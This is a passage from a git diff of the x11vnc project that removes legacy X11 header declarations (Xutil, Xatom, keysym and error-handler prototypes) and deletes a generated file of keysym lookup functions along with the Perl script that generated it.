-#if NeedFunctionPrototypes
- Display* /* dpy */,
- XConnectionWatchProc /* callback */,
- XPointer /* client_data */
-#endif
-);
-
-extern void XSetAuthorization(
-#if NeedFunctionPrototypes
- char * /* name */,
- int /* namelen */,
- char * /* data */,
- int /* datalen */
-#endif
-);
-
-extern int _Xmbtowc(
-#if NeedFunctionPrototypes
- wchar_t * /* wstr */,
-#ifdef ISC
- char const * /* str */,
- size_t /* len */
-#else
- char * /* str */,
- int /* len */
-#endif
-#endif
-);
-
-extern int _Xwctomb(
-#if NeedFunctionPrototypes
- char * /* str */,
- wchar_t /* wc */
-#endif
-);
-
-_XFUNCPROTOEND
-#endif /* if 0 */
-
-#endif /* _XLIB_H_ */
-
-
-/* $Xorg: Xutil.h,v 1.8 2001/02/09 02:03:39 xorgcvs Exp $ */
-
-/***********************************************************
-
-Copyright 1987, 1998 The Open Group
-
-Permission to use, copy, modify, distribute, and sell this software and its
-documentation for any purpose is hereby granted without fee, provided that
-the above copyright notice appear in all copies and that both that
-copyright notice and this permission notice appear in supporting
-documentation.
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
-AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-Except as contained in this notice, the name of The Open Group shall not be
-used in advertising or otherwise to promote the sale, use or other dealings
-in this Software without prior written authorization from The Open Group.
-
-
-Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts.
-
- All Rights Reserved
-
-Permission to use, copy, modify, and distribute this software and its
-documentation for any purpose and without fee is hereby granted,
-provided that the above copyright notice appear in all copies and that
-both that copyright notice and this permission notice appear in
-supporting documentation, and that the name of Digital not be
-used in advertising or publicity pertaining to distribution of the
-software without specific, written prior permission.
-
-DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
-ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
-DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
-ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
-WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
-ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
-SOFTWARE.
-
-******************************************************************/
-/* $XFree86: xc/lib/X11/Xutil.h,v 3.5 2003/01/26 02:40:10 dawes Exp $ */
-
-#ifndef _XUTIL_H_
-#define _XUTIL_H_
-
-/* You must include <X11/Xlib.h> before including this file */
-#if 0
-#include <X11/Xlib.h>
-#endif
-
-/*
- * Bitmask returned by XParseGeometry(). Each bit tells if the corresponding
- * value (x, y, width, height) was found in the parsed string.
- */
-#define NoValue 0x0000
-#define XValue 0x0001
-#define YValue 0x0002
-#define WidthValue 0x0004
-#define HeightValue 0x0008
-#define AllValues 0x000F
-#define XNegative 0x0010
-#define YNegative 0x0020
-
-/*
- * new version containing base_width, base_height, and win_gravity fields;
- * used with WM_NORMAL_HINTS.
- */
-typedef struct {
- long flags; /* marks which fields in this structure are defined */
- int x, y; /* obsolete for new window mgrs, but clients */
- int width, height; /* should set so old wm's don't mess up */
- int min_width, min_height;
- int max_width, max_height;
- int width_inc, height_inc;
- struct {
- int x; /* numerator */
- int y; /* denominator */
- } min_aspect, max_aspect;
- int base_width, base_height; /* added by ICCCM version 1 */
- int win_gravity; /* added by ICCCM version 1 */
-} XSizeHints;
-
-/*
- * The next block of definitions are for window manager properties that
- * clients and applications use for communication.
- */
-
-/* flags argument in size hints */
-#define USPosition (1L << 0) /* user specified x, y */
-#define USSize (1L << 1) /* user specified width, height */
-
-#define PPosition (1L << 2) /* program specified position */
-#define PSize (1L << 3) /* program specified size */
-#define PMinSize (1L << 4) /* program specified minimum size */
-#define PMaxSize (1L << 5) /* program specified maximum size */
-#define PResizeInc (1L << 6) /* program specified resize increments */
-#define PAspect (1L << 7) /* program specified min and max aspect ratios */
-#define PBaseSize (1L << 8) /* program specified base for incrementing */
-#define PWinGravity (1L << 9) /* program specified window gravity */
-
-/* obsolete */
-#define PAllHints (PPosition|PSize|PMinSize|PMaxSize|PResizeInc|PAspect)
-
-
-
-typedef struct {
- long flags; /* marks which fields in this structure are defined */
- Bool input; /* does this application rely on the window manager to
- get keyboard input? */
- int initial_state; /* see below */
- Pixmap icon_pixmap; /* pixmap to be used as icon */
- Window icon_window; /* window to be used as icon */
- int icon_x, icon_y; /* initial position of icon */
- Pixmap icon_mask; /* icon mask bitmap */
- XID window_group; /* id of related window group */
- /* this structure may be extended in the future */
-} XWMHints;
-
-/* definition for flags of XWMHints */
-
-#define InputHint (1L << 0)
-#define StateHint (1L << 1)
-#define IconPixmapHint (1L << 2)
-#define IconWindowHint (1L << 3)
-#define IconPositionHint (1L << 4)
-#define IconMaskHint (1L << 5)
-#define WindowGroupHint (1L << 6)
-#define AllHints (InputHint|StateHint|IconPixmapHint|IconWindowHint| \
-IconPositionHint|IconMaskHint|WindowGroupHint)
-#define XUrgencyHint (1L << 8)
-
-/* definitions for initial window state */
-#define WithdrawnState 0 /* for windows that are not mapped */
-#define NormalState 1 /* most applications want to start this way */
-#define IconicState 3 /* application wants to start as an icon */
-
-/*
- * Obsolete states no longer defined by ICCCM
- */
-#define DontCareState 0 /* don't know or care */
-#define ZoomState 2 /* application wants to start zoomed */
-#define InactiveState 4 /* application believes it is seldom used; */
- /* some wm's may put it on inactive menu */
-
-
-/*
- * new structure for manipulating TEXT properties; used with WM_NAME,
- * WM_ICON_NAME, WM_CLIENT_MACHINE, and WM_COMMAND.
- */
-typedef struct {
- unsigned char *value; /* same as Property routines */
- Atom encoding; /* prop type */
- int format; /* prop data format: 8, 16, or 32 */
- unsigned long nitems; /* number of data items in value */
-} XTextProperty;
-
-#define XNoMemory -1
-#define XLocaleNotSupported -2
-#define XConverterNotFound -3
-
-typedef enum {
- XStringStyle, /* STRING */
- XCompoundTextStyle, /* COMPOUND_TEXT */
- XTextStyle, /* text in owner's encoding (current locale)*/
- XStdICCTextStyle, /* STRING, else COMPOUND_TEXT */
- /* The following is an XFree86 extension, introduced in November 2000 */
- XUTF8StringStyle /* UTF8_STRING */
-} XICCEncodingStyle;
-
-typedef struct {
- int min_width, min_height;
- int max_width, max_height;
- int width_inc, height_inc;
-} XIconSize;
-
-typedef struct {
- char *res_name;
- char *res_class;
-} XClassHint;
-
-/*
- * These macros are used to give some sugar to the image routines so that
- * naive people are more comfortable with them.
- */
-#define XDestroyImage(ximage) \
- ((*((ximage)->f.destroy_image))((ximage)))
-#define XGetPixel(ximage, x, y) \
- ((*((ximage)->f.get_pixel))((ximage), (x), (y)))
-#define XPutPixel(ximage, x, y, pixel) \
- ((*((ximage)->f.put_pixel))((ximage), (x), (y), (pixel)))
-#define XSubImage(ximage, x, y, width, height) \
- ((*((ximage)->f.sub_image))((ximage), (x), (y), (width), (height)))
-#define XAddPixel(ximage, value) \
- ((*((ximage)->f.add_pixel))((ximage), (value)))
-
-/*
- * Compose sequence status structure, used in calling XLookupString.
- */
-typedef struct _XComposeStatus {
- XPointer compose_ptr; /* state table pointer */
- int chars_matched; /* match state */
-} XComposeStatus;
-
-/*
- * Keysym macros, used on Keysyms to test for classes of symbols
- */
-#define IsKeypadKey(keysym) \
- (((KeySym)(keysym) >= XK_KP_Space) && ((KeySym)(keysym) <= XK_KP_Equal))
-
-#define IsPrivateKeypadKey(keysym) \
- (((KeySym)(keysym) >= 0x11000000) && ((KeySym)(keysym) <= 0x1100FFFF))
-
-#define IsCursorKey(keysym) \
- (((KeySym)(keysym) >= XK_Home) && ((KeySym)(keysym) < XK_Select))
-
-#define IsPFKey(keysym) \
- (((KeySym)(keysym) >= XK_KP_F1) && ((KeySym)(keysym) <= XK_KP_F4))
-
-#define IsFunctionKey(keysym) \
- (((KeySym)(keysym) >= XK_F1) && ((KeySym)(keysym) <= XK_F35))
-
-#define IsMiscFunctionKey(keysym) \
- (((KeySym)(keysym) >= XK_Select) && ((KeySym)(keysym) <= XK_Break))
-
-#define IsModifierKey(keysym) \
- ((((KeySym)(keysym) >= XK_Shift_L) && ((KeySym)(keysym) <= XK_Hyper_R)) \
- || (((KeySym)(keysym) >= XK_ISO_Lock) && \
- ((KeySym)(keysym) <= XK_ISO_Last_Group_Lock)) \
- || ((KeySym)(keysym) == XK_Mode_switch) \
- || ((KeySym)(keysym) == XK_Num_Lock))
-/*
- * opaque reference to Region data type
- */
-typedef struct _XRegion *Region;
-
-/* Return values from XRectInRegion() */
-
-#define RectangleOut 0
-#define RectangleIn 1
-#define RectanglePart 2
-
-
-/*
- * Information used by the visual utility routines to find desired visual
- * type from the many visuals a display may support.
- */
-
-typedef struct {
- Visual *visual;
- VisualID visualid;
- int screen;
- int depth;
-#if defined(__cplusplus) || defined(c_plusplus)
- int c_class; /* C++ */
-#else
- int class;
-#endif
- unsigned long red_mask;
- unsigned long green_mask;
- unsigned long blue_mask;
- int colormap_size;
- int bits_per_rgb;
-} XVisualInfo;
-
-#define VisualNoMask 0x0
-#define VisualIDMask 0x1
-#define VisualScreenMask 0x2
-#define VisualDepthMask 0x4
-#define VisualClassMask 0x8
-#define VisualRedMaskMask 0x10
-#define VisualGreenMaskMask 0x20
-#define VisualBlueMaskMask 0x40
-#define VisualColormapSizeMask 0x80
-#define VisualBitsPerRGBMask 0x100
-#define VisualAllMask 0x1FF
-
-/*
- * This defines a window manager property that clients may use to
- * share standard color maps of type RGB_COLOR_MAP:
- */
-typedef struct {
- Colormap colormap;
- unsigned long red_max;
- unsigned long red_mult;
- unsigned long green_max;
- unsigned long green_mult;
- unsigned long blue_max;
- unsigned long blue_mult;
- unsigned long base_pixel;
- VisualID visualid; /* added by ICCCM version 1 */
- XID killid; /* added by ICCCM version 1 */
-} XStandardColormap;
-
-#define ReleaseByFreeingColormap ((XID) 1L) /* for killid field above */
-
-
-/*
- * return codes for XReadBitmapFile and XWriteBitmapFile
- */
-#define BitmapSuccess 0
-#define BitmapOpenFailed 1
-#define BitmapFileInvalid 2
-#define BitmapNoMemory 3
-
-/****************************************************************
- *
- * Context Management
- *
- ****************************************************************/
-
-
-/* Associative lookup table return codes */
-
-#define XCSUCCESS 0 /* No error. */
-#define XCNOMEM 1 /* Out of memory */
-#define XCNOENT 2 /* No entry in table */
-
-typedef int XContext;
-
-#define XUniqueContext() ((XContext) XrmUniqueQuark())
-#define XStringToContext(string) ((XContext) XrmStringToQuark(string))
-
-#if 0
-_XFUNCPROTOBEGIN
-
-/* The following declarations are alphabetized. */
-
-extern XClassHint *XAllocClassHint (
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern XIconSize *XAllocIconSize (
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern XSizeHints *XAllocSizeHints (
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern XStandardColormap *XAllocStandardColormap (
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern XWMHints *XAllocWMHints (
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern int XClipBox(
-#if NeedFunctionPrototypes
- Region /* r */,
- XRectangle* /* rect_return */
-#endif
-);
-
-extern Region XCreateRegion(
-#if NeedFunctionPrototypes
- void
-#endif
-);
-
-extern const char *XDefaultString (void);
-
-extern int XDeleteContext(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* rid */,
- XContext /* context */
-#endif
-);
-
-extern int XDestroyRegion(
-#if NeedFunctionPrototypes
- Region /* r */
-#endif
-);
-
-extern int XEmptyRegion(
-#if NeedFunctionPrototypes
- Region /* r */
-#endif
-);
-
-extern int XEqualRegion(
-#if NeedFunctionPrototypes
- Region /* r1 */,
- Region /* r2 */
-#endif
-);
-
-extern int XFindContext(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* rid */,
- XContext /* context */,
- XPointer* /* data_return */
-#endif
-);
-
-extern Status XGetClassHint(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XClassHint* /* class_hints_return */
-#endif
-);
-
-extern Status XGetIconSizes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XIconSize** /* size_list_return */,
- int* /* count_return */
-#endif
-);
-
-extern Status XGetNormalHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints_return */
-#endif
-);
-
-extern Status XGetRGBColormaps(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XStandardColormap** /* stdcmap_return */,
- int* /* count_return */,
- Atom /* property */
-#endif
-);
-
-extern Status XGetSizeHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints_return */,
- Atom /* property */
-#endif
-);
-
-extern Status XGetStandardColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XStandardColormap* /* colormap_return */,
- Atom /* property */
-#endif
-);
-
-extern Status XGetTextProperty(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* window */,
- XTextProperty* /* text_prop_return */,
- Atom /* property */
-#endif
-);
-
-extern XVisualInfo *XGetVisualInfo(
-#if NeedFunctionPrototypes
- Display* /* display */,
- long /* vinfo_mask */,
- XVisualInfo* /* vinfo_template */,
- int* /* nitems_return */
-#endif
-);
-
-extern Status XGetWMClientMachine(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop_return */
-#endif
-);
-
-extern XWMHints *XGetWMHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern Status XGetWMIconName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop_return */
-#endif
-);
-
-extern Status XGetWMName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop_return */
-#endif
-);
-
-extern Status XGetWMNormalHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints_return */,
- long* /* supplied_return */
-#endif
-);
-
-extern Status XGetWMSizeHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints_return */,
- long* /* supplied_return */,
- Atom /* property */
-#endif
-);
-
-extern Status XGetZoomHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* zhints_return */
-#endif
-);
-
-extern int XIntersectRegion(
-#if NeedFunctionPrototypes
- Region /* sra */,
- Region /* srb */,
- Region /* dr_return */
-#endif
-);
-
-extern void XConvertCase(
-#if NeedFunctionPrototypes
- KeySym /* sym */,
- KeySym* /* lower */,
- KeySym* /* upper */
-#endif
-);
-
-extern int XLookupString(
-#if NeedFunctionPrototypes
- XKeyEvent* /* event_struct */,
- char* /* buffer_return */,
- int /* bytes_buffer */,
- KeySym* /* keysym_return */,
- XComposeStatus* /* status_in_out */
-#endif
-);
-
-extern Status XMatchVisualInfo(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen */,
- int /* depth */,
- int /* class */,
- XVisualInfo* /* vinfo_return */
-#endif
-);
-
-extern int XOffsetRegion(
-#if NeedFunctionPrototypes
- Region /* r */,
- int /* dx */,
- int /* dy */
-#endif
-);
-
-extern Bool XPointInRegion(
-#if NeedFunctionPrototypes
- Region /* r */,
- int /* x */,
- int /* y */
-#endif
-);
-
-extern Region XPolygonRegion(
-#if NeedFunctionPrototypes
- XPoint* /* points */,
- int /* n */,
- int /* fill_rule */
-#endif
-);
-
-extern int XRectInRegion(
-#if NeedFunctionPrototypes
- Region /* r */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XSaveContext(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* rid */,
- XContext /* context */,
- _Xconst char* /* data */
-#endif
-);
-
-extern int XSetClassHint(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XClassHint* /* class_hints */
-#endif
-);
-
-extern int XSetIconSizes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XIconSize* /* size_list */,
- int /* count */
-#endif
-);
-
-extern int XSetNormalHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints */
-#endif
-);
-
-extern void XSetRGBColormaps(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XStandardColormap* /* stdcmaps */,
- int /* count */,
- Atom /* property */
-#endif
-);
-
-extern int XSetSizeHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints */,
- Atom /* property */
-#endif
-);
-
-extern int XSetStandardProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- _Xconst char* /* window_name */,
- _Xconst char* /* icon_name */,
- Pixmap /* icon_pixmap */,
- char** /* argv */,
- int /* argc */,
- XSizeHints* /* hints */
-#endif
-);
-
-extern void XSetTextProperty(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop */,
- Atom /* property */
-#endif
-);
-
-extern void XSetWMClientMachine(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop */
-#endif
-);
-
-extern int XSetWMHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XWMHints* /* wm_hints */
-#endif
-);
-
-extern void XSetWMIconName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop */
-#endif
-);
-
-extern void XSetWMName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* text_prop */
-#endif
-);
-
-extern void XSetWMNormalHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints */
-#endif
-);
-
-extern void XSetWMProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XTextProperty* /* window_name */,
- XTextProperty* /* icon_name */,
- char** /* argv */,
- int /* argc */,
- XSizeHints* /* normal_hints */,
- XWMHints* /* wm_hints */,
- XClassHint* /* class_hints */
-#endif
-);
-
-extern void XmbSetWMProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- _Xconst char* /* window_name */,
- _Xconst char* /* icon_name */,
- char** /* argv */,
- int /* argc */,
- XSizeHints* /* normal_hints */,
- XWMHints* /* wm_hints */,
- XClassHint* /* class_hints */
-#endif
-);
-
-extern void Xutf8SetWMProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- _Xconst char* /* window_name */,
- _Xconst char* /* icon_name */,
- char** /* argv */,
- int /* argc */,
- XSizeHints* /* normal_hints */,
- XWMHints* /* wm_hints */,
- XClassHint* /* class_hints */
-#endif
-);
-
-extern void XSetWMSizeHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* hints */,
- Atom /* property */
-#endif
-);
-
-extern int XSetRegion(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Region /* r */
-#endif
-);
-
-extern void XSetStandardColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XStandardColormap* /* colormap */,
- Atom /* property */
-#endif
-);
-
-extern int XSetZoomHints(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- XSizeHints* /* zhints */
-#endif
-);
-
-extern int XShrinkRegion(
-#if NeedFunctionPrototypes
- Region /* r */,
- int /* dx */,
- int /* dy */
-#endif
-);
-
-extern Status XStringListToTextProperty(
-#if NeedFunctionPrototypes
- char** /* list */,
- int /* count */,
- XTextProperty* /* text_prop_return */
-#endif
-);
-
-extern int XSubtractRegion(
-#if NeedFunctionPrototypes
- Region /* sra */,
- Region /* srb */,
- Region /* dr_return */
-#endif
-);
-
-extern int XmbTextListToTextProperty(
- Display* display,
- char** list,
- int count,
- XICCEncodingStyle style,
- XTextProperty* text_prop_return
-);
-
-extern int XwcTextListToTextProperty(
- Display* display,
- wchar_t** list,
- int count,
- XICCEncodingStyle style,
- XTextProperty* text_prop_return
-);
-
-extern int Xutf8TextListToTextProperty(
- Display* display,
- char** list,
- int count,
- XICCEncodingStyle style,
- XTextProperty* text_prop_return
-);
-
-extern void XwcFreeStringList(
- wchar_t** list
-);
-
-extern Status XTextPropertyToStringList(
-#if NeedFunctionPrototypes
- XTextProperty* /* text_prop */,
- char*** /* list_return */,
- int* /* count_return */
-#endif
-);
-
-extern int XmbTextPropertyToTextList(
- Display* display,
- const XTextProperty* text_prop,
- char*** list_return,
- int* count_return
-);
-
-extern int XwcTextPropertyToTextList(
- Display* display,
- const XTextProperty* text_prop,
- wchar_t*** list_return,
- int* count_return
-);
-
-extern int Xutf8TextPropertyToTextList(
- Display* display,
- const XTextProperty* text_prop,
- char*** list_return,
- int* count_return
-);
-
-extern int XUnionRectWithRegion(
-#if NeedFunctionPrototypes
- XRectangle* /* rectangle */,
- Region /* src_region */,
- Region /* dest_region_return */
-#endif
-);
-
-extern int XUnionRegion(
-#if NeedFunctionPrototypes
- Region /* sra */,
- Region /* srb */,
- Region /* dr_return */
-#endif
-);
-
-extern int XWMGeometry(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* screen_number */,
- _Xconst char* /* user_geometry */,
- _Xconst char* /* default_geometry */,
- unsigned int /* border_width */,
- XSizeHints* /* hints */,
- int* /* x_return */,
- int* /* y_return */,
- int* /* width_return */,
- int* /* height_return */,
- int* /* gravity_return */
-#endif
-);
-
-extern int XXorRegion(
-#if NeedFunctionPrototypes
- Region /* sra */,
- Region /* srb */,
- Region /* dr_return */
-#endif
-);
-
-_XFUNCPROTOEND
-#endif /* if 0 */
-
-#ifndef XATOM_H
-#define XATOM_H 1
-
-/* THIS IS A GENERATED FILE
- *
- * Do not change! Changing this file implies a protocol change!
- */
-
-#define XA_PRIMARY ((Atom) 1)
-#define XA_SECONDARY ((Atom) 2)
-#define XA_ARC ((Atom) 3)
-#define XA_ATOM ((Atom) 4)
-#define XA_BITMAP ((Atom) 5)
-#define XA_CARDINAL ((Atom) 6)
-#define XA_COLORMAP ((Atom) 7)
-#define XA_CURSOR ((Atom) 8)
-#define XA_CUT_BUFFER0 ((Atom) 9)
-#define XA_CUT_BUFFER1 ((Atom) 10)
-#define XA_CUT_BUFFER2 ((Atom) 11)
-#define XA_CUT_BUFFER3 ((Atom) 12)
-#define XA_CUT_BUFFER4 ((Atom) 13)
-#define XA_CUT_BUFFER5 ((Atom) 14)
-#define XA_CUT_BUFFER6 ((Atom) 15)
-#define XA_CUT_BUFFER7 ((Atom) 16)
-#define XA_DRAWABLE ((Atom) 17)
-#define XA_FONT ((Atom) 18)
-#define XA_INTEGER ((Atom) 19)
-#define XA_PIXMAP ((Atom) 20)
-#define XA_POINT ((Atom) 21)
-#define XA_RECTANGLE ((Atom) 22)
-#define XA_RESOURCE_MANAGER ((Atom) 23)
-#define XA_RGB_COLOR_MAP ((Atom) 24)
-#define XA_RGB_BEST_MAP ((Atom) 25)
-#define XA_RGB_BLUE_MAP ((Atom) 26)
-#define XA_RGB_DEFAULT_MAP ((Atom) 27)
-#define XA_RGB_GRAY_MAP ((Atom) 28)
-#define XA_RGB_GREEN_MAP ((Atom) 29)
-#define XA_RGB_RED_MAP ((Atom) 30)
-#define XA_STRING ((Atom) 31)
-#define XA_VISUALID ((Atom) 32)
-#define XA_WINDOW ((Atom) 33)
-#define XA_WM_COMMAND ((Atom) 34)
-#define XA_WM_HINTS ((Atom) 35)
-#define XA_WM_CLIENT_MACHINE ((Atom) 36)
-#define XA_WM_ICON_NAME ((Atom) 37)
-#define XA_WM_ICON_SIZE ((Atom) 38)
-#define XA_WM_NAME ((Atom) 39)
-#define XA_WM_NORMAL_HINTS ((Atom) 40)
-#define XA_WM_SIZE_HINTS ((Atom) 41)
-#define XA_WM_ZOOM_HINTS ((Atom) 42)
-#define XA_MIN_SPACE ((Atom) 43)
-#define XA_NORM_SPACE ((Atom) 44)
-#define XA_MAX_SPACE ((Atom) 45)
-#define XA_END_SPACE ((Atom) 46)
-#define XA_SUPERSCRIPT_X ((Atom) 47)
-#define XA_SUPERSCRIPT_Y ((Atom) 48)
-#define XA_SUBSCRIPT_X ((Atom) 49)
-#define XA_SUBSCRIPT_Y ((Atom) 50)
-#define XA_UNDERLINE_POSITION ((Atom) 51)
-#define XA_UNDERLINE_THICKNESS ((Atom) 52)
-#define XA_STRIKEOUT_ASCENT ((Atom) 53)
-#define XA_STRIKEOUT_DESCENT ((Atom) 54)
-#define XA_ITALIC_ANGLE ((Atom) 55)
-#define XA_X_HEIGHT ((Atom) 56)
-#define XA_QUAD_WIDTH ((Atom) 57)
-#define XA_WEIGHT ((Atom) 58)
-#define XA_POINT_SIZE ((Atom) 59)
-#define XA_RESOLUTION ((Atom) 60)
-#define XA_COPYRIGHT ((Atom) 61)
-#define XA_NOTICE ((Atom) 62)
-#define XA_FONT_NAME ((Atom) 63)
-#define XA_FAMILY_NAME ((Atom) 64)
-#define XA_FULL_NAME ((Atom) 65)
-#define XA_CAP_HEIGHT ((Atom) 66)
-#define XA_WM_CLASS ((Atom) 67)
-#define XA_WM_TRANSIENT_FOR ((Atom) 68)
-
-#define XA_LAST_PREDEFINED ((Atom) 68)
-#endif /* XATOM_H */
-
-#endif /* _XUTIL_H_ */
-
-extern KeyCode XKeysymToKeycode(
- Display* /* display */,
- KeySym /* keysym */
-);
-extern KeySym XKeycodeToKeysym(
- Display* /* display */,
- KeyCode /* keycode */,
- int /* index */
-);
-extern char *XKeysymToString(
- KeySym /* keysym */
-);
-extern KeySym XStringToKeysym(
- char* /* string */
-);
-
-typedef int (*XErrorHandler) ( /* WARNING, this type not in Xlib spec */
- Display* /* display */,
- XErrorEvent* /* error_event */
-);
-
-extern XErrorHandler XSetErrorHandler (
- XErrorHandler /* handler */
-);
-
-typedef int (*XIOErrorHandler) ( /* WARNING, this type not in Xlib spec */
- Display* /* display */
-);
-
-extern XIOErrorHandler XSetIOErrorHandler (
- XIOErrorHandler /* handler */
-);
-
-#define X_ShmQueryVersion 0
-#define X_ShmAttach 1
-#define X_ShmDetach 2
-#define X_ShmPutImage 3
-#define X_ShmGetImage 4
-#define X_ShmCreatePixmap 5
diff --git a/x11vnc/nox11_funcs.h b/x11vnc/nox11_funcs.h
deleted file mode 100644
index 6e3ac57..0000000
--- a/x11vnc/nox11_funcs.h
+++ /dev/null
@@ -1,2822 +0,0 @@
-#if 0
-generated by util script makekeysyms.pl:
-
------
-#!/usr/bin/perl
-
-print "#if 0\n";
-print "generated by util script makekeysyms.pl:\n\n";
-print "-----\n";
-system("cat $0");
-print "-----\n";
-print "#endif\n\n";
-
-# probably should use rfb/keysym.h:
-$file = shift;
-$file = "/usr/X11R6/include/X11/keysymdef.h" unless $file;
-
-open(KS, "<$file") || die "$file: $!";
-
-while (<KS>) {
- chomp;
- next if /^#define (XK_MISCELLANY|XK_XKB_KEYS|XK_LATIN1|XK_LATIN2|XK_LATIN3|XK_LATIN4|XK_GREEK)/;
- next if /^#define (XK_LATIN8|XK_LATIN9|XK_CAUCASUS|XK_KATAKANA|XK_ARABIC|XK_CYRILLIC|XK_HEBREW|XK_THAI|XK_KOREAN|XK_ARMENIAN|XK_GEORGIAN|XK_VIETNAMESE|XK_CURRENCY)/;
- if (/^#define\s+(XK_\w+)/) {
- push @xk, $1;
- } elsif (/^#(ifdef|ifndef|endif)/) {
- $_ =~ s/ifndef XK_0/ifndef XK_0_nosuch/;
- push @xk, $_;
- }
-}
-close(KS);
-
-print <<"END";
-
-KeySym XStringToKeysym(char *s) {
-END
-foreach $ks (@xk) {
- $s = $ks;
- if ($ks =~ /#/) {
- print "$ks\n";
- next;
- }
- $s =~ s/^XK_//;
- print " if (!strcmp(s, \"$s\")) return $ks;\n";
-}
-print <<"END";
- return NoSymbol;
-}
-
-END
-
-print <<"END";
-
-char *XKeysymToString(KeySym k) {
-END
-foreach $ks (@xk) {
- $s = $ks;
- if ($ks =~ /#/) {
- print "$ks\n";
- next;
- }
- $s =~ s/^XK_//;
- print " if (k == $ks) return \"$s\";\n";
-}
-print <<"END";
- return NULL;
-}
-
-KeySym XKeycodeToKeysym(Display *display, KeyCode keycode, int index) {
- return NoSymbol;
-}
-
-KeyCode XKeysymToKeycode(Display *display, KeySym keysym) {
- return NoSymbol;
-}
-
-XErrorHandler XSetErrorHandler (XErrorHandler h) {
- return h;
-}
-
-END
-
-exit 0;
------
-#endif
-
-
-KeySym XStringToKeysym(char *s) {
-#ifndef XK_0_nosuch
- if (!strcmp(s, "VoidSymbol")) return XK_VoidSymbol;
-#ifdef XK_MISCELLANY
- if (!strcmp(s, "BackSpace")) return XK_BackSpace;
- if (!strcmp(s, "Tab")) return XK_Tab;
- if (!strcmp(s, "Linefeed")) return XK_Linefeed;
- if (!strcmp(s, "Clear")) return XK_Clear;
- if (!strcmp(s, "Return")) return XK_Return;
- if (!strcmp(s, "Pause")) return XK_Pause;
- if (!strcmp(s, "Scroll_Lock")) return XK_Scroll_Lock;
